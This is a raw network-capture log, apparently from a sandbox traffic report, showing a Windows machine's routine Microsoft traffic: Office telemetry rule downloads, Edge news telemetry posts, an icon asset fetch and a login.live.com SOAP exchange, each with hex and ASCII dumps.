2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-r1d97b9957789nh9hC1TEBxha8000000087g000000003te9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	62097	20.189.173.10	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058364933&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10962 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1; _C_ETH=1
2024-11-19 23:19:26 UTC	10962	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 32 33 3a 31 39 3a 32 34 2e 39 33 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 61 64 66 30 32 38 66 2d 38 39 32 37 2d 34 33 37 62 2d 39 37 61 64 2d 30 32 65 31 38 33 63 35 66 37 32 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 38 32 36 30 38 34 35 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-19T23:19:24.930Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"2adf028f-8927-437b-97ad-02e183c5f722","epoch":"2882608450"},"app":{"locale
2024-11-19 23:19:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2a8df4f496aa4b8aa84b946fc4a61baf&HASH=2a8d&LV=202411&V=4&LU=1732058366520; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 23:19:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3903b0fc5bf346f6947f10a085c20022; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 23:49:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1587 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 23:19:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	62096	20.189.173.10	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058364937&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4786 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1; _C_ETH=1
2024-11-19 23:19:26 UTC	4786	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 32 33 3a 31 39 3a 32 34 2e 39 33 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 61 64 66 30 32 38 66 2d 38 39 32 37 2d 34 33 37 62 2d 39 37 61 64 2d 30 32 65 31 38 33 63 35 66 37 32 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 38 32 36 30 38 34 35 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-19T23:19:24.936Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"2adf028f-8927-437b-97ad-02e183c5f722","epoch":"2882608450"},"app":{"locale
2024-11-19 23:19:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=17398d9f25e942fbbde03cbc97d02386&HASH=1739&LV=202411&V=4&LU=1732058366542; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 23:19:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=728f869834b24f529ae5c329dca772cf; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 23:49:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1605 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 23:19:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	62099	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:26 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 799ff179-001e-0067-03d3-3adba0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231926Z-1777c6cb754xrr98hC1TEB3kag00000008ng0000000078zt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	62100	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 23:19:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:27 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: dc3743c6-16b2-4311-a69b-b8a4b5eab4d5 PPServer: PPV: 30 H: SN1PEPF0002FA16 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:27 GMT Connection: close Content-Length: 11389
2024-11-19 23:19:27 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	62101	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-r1d97b99577d6qrbhC1TEBux5s0000000880000000001bek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	62102	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95c4hl5whC1NYCeex0000000096000000000x7b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	62104	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95cjbkr4hC1NYCeu2400000009b0000000001w08 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	62103	20.189.173.10	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058365550&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5292 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1; msnup=
2024-11-19 23:19:26 UTC	5292	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 32 33 3a 31 39 3a 32 35 2e 35 34 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 61 64 66 30 32 38 66 2d 38 39 32 37 2d 34 33 37 62 2d 39 37 61 64 2d 30 32 65 31 38 33 63 35 66 37 32 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 38 32 36 30 38 34 35 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-19T23:19:25.549Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"2adf028f-8927-437b-97ad-02e183c5f722","epoch":"2882608450"},"app":{"locale
2024-11-19 23:19:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ec2c5eba634f4ae59bc266c43ccac855&HASH=ec2c&LV=202411&V=4&LU=1732058367015; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 23:19:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=135c9e7fce1e4d8b86bdd2b99c73a352; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 23:49:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1465 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 23:19:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
